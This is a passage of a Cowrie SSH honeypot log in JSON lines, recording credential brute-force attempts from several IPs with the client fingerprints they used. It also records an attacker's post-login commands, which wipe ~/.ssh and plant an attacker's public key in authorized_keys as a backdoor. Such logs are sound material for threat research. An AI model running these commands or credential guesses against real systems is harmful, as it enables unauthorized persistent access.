03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:00.237277Z","src_ip":"43.167.242.138","session":"babbb86ee1fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:00.958897Z","src_ip":"43.167.242.138","session":"babbb86ee1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:02.133784Z","src_ip":"43.167.242.138","session":"babbb86ee1fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.167.242.138","src_port":34598,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9076fa2d174","protocol":"ssh","message":"New connection: 43.167.242.138:34598 (10.17.0.5:22) [session: f9076fa2d174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:02.330855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:02.339412Z","src_ip":"43.167.242.138","session":"f9076fa2d174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:02.524841Z","src_ip":"43.167.242.138","session":"f9076fa2d174","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:03.302695Z","src_ip":"43.167.242.138","session":"f9076fa2d174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:03.474207Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:03.491203Z","src_ip":"43.167.242.138","session":"f9076fa2d174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36660,"dst_ip":"159.203.135.109","dst_port":22,"session":"79564e4791bd","protocol":"ssh","message":"New connection: 193.32.162.151:36660 (159.203.135.109:22) [session: 79564e4791bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:36.786011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:36.791378Z","src_ip":"193.32.162.151","session":"79564e4791bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:36.891505Z","src_ip":"193.32.162.151","session":"79564e4791bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"public","message":"login attempt [public/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:37.304179Z","src_ip":"193.32.162.151","session":"79564e4791bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:38.412594Z","src_ip":"193.32.162.151","session":"79564e4791bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58640,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8c8de9f4606","protocol":"ssh","message":"New connection: 80.94.92.186:58640 (10.17.0.5:22) [session: b8c8de9f4606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:41.061450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:41.127447Z","src_ip":"80.94.92.186","session":"b8c8de9f4606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:41.371847Z","src_ip":"80.94.92.186","session":"b8c8de9f4606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jupyter","password":"jupyter","message":"login attempt [jupyter/jupyter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:42.113421Z","src_ip":"80.94.92.186","session":"b8c8de9f4606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:43.548613Z","src_ip":"80.94.92.186","session":"b8c8de9f4606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":46822,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc28fce1a442","protocol":"ssh","message":"New connection: 2.57.121.112:46822 (159.203.135.109:22) [session: bc28fce1a442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:46.799494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:46.804092Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:46.909579Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030686","message":"login attempt [admin/030686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:47.405830Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030679","message":"login attempt [admin/030679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:48.513386Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030482","message":"login attempt [admin/030482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:49.719803Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030479","message":"login attempt [admin/030479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:50.828403Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03041974","message":"login attempt [admin/03041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:51.936410Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:53.044505Z","src_ip":"2.57.121.112","session":"bc28fce1a442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":55234,"dst_ip":"10.17.0.5","dst_port":22,"session":"410ee202070d","protocol":"ssh","message":"New connection: 92.118.39.95:55234 (10.17.0.5:22) [session: 410ee202070d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:10.477182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:10.481532Z","src_ip":"92.118.39.95","session":"410ee202070d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:10.580995Z","src_ip":"92.118.39.95","session":"410ee202070d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:11.019097Z","src_ip":"92.118.39.95","session":"410ee202070d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:12.121484Z","src_ip":"92.118.39.95","session":"410ee202070d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.99.169.99","src_port":40700,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf517e7af0d5","protocol":"ssh","message":"New connection: 192.99.169.99:40700 (10.17.0.5:22) [session: bf517e7af0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.305596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.310223Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.330734Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"q1w2e3r4t5y6u7i8","message":"login attempt [root/q1w2e3r4t5y6u7i8] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.435794Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.508505Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.512136Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.516589Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.540118Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.608357Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.611097Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.632842Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.635595Z","src_ip":"192.99.169.99","session":"bf517e7af0d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.99.169.99","src_port":40704,"dst_ip":"10.17.0.5","dst_port":22,"session":"35fd74ff2f9e","protocol":"ssh","message":"New connection: 192.99.169.99:40704 (10.17.0.5:22) [session: 35fd74ff2f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.643670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:54:47.647101Z","src_ip":"192.99.169.99","session":"35fd74ff2f9e","protocol":"ssh"}
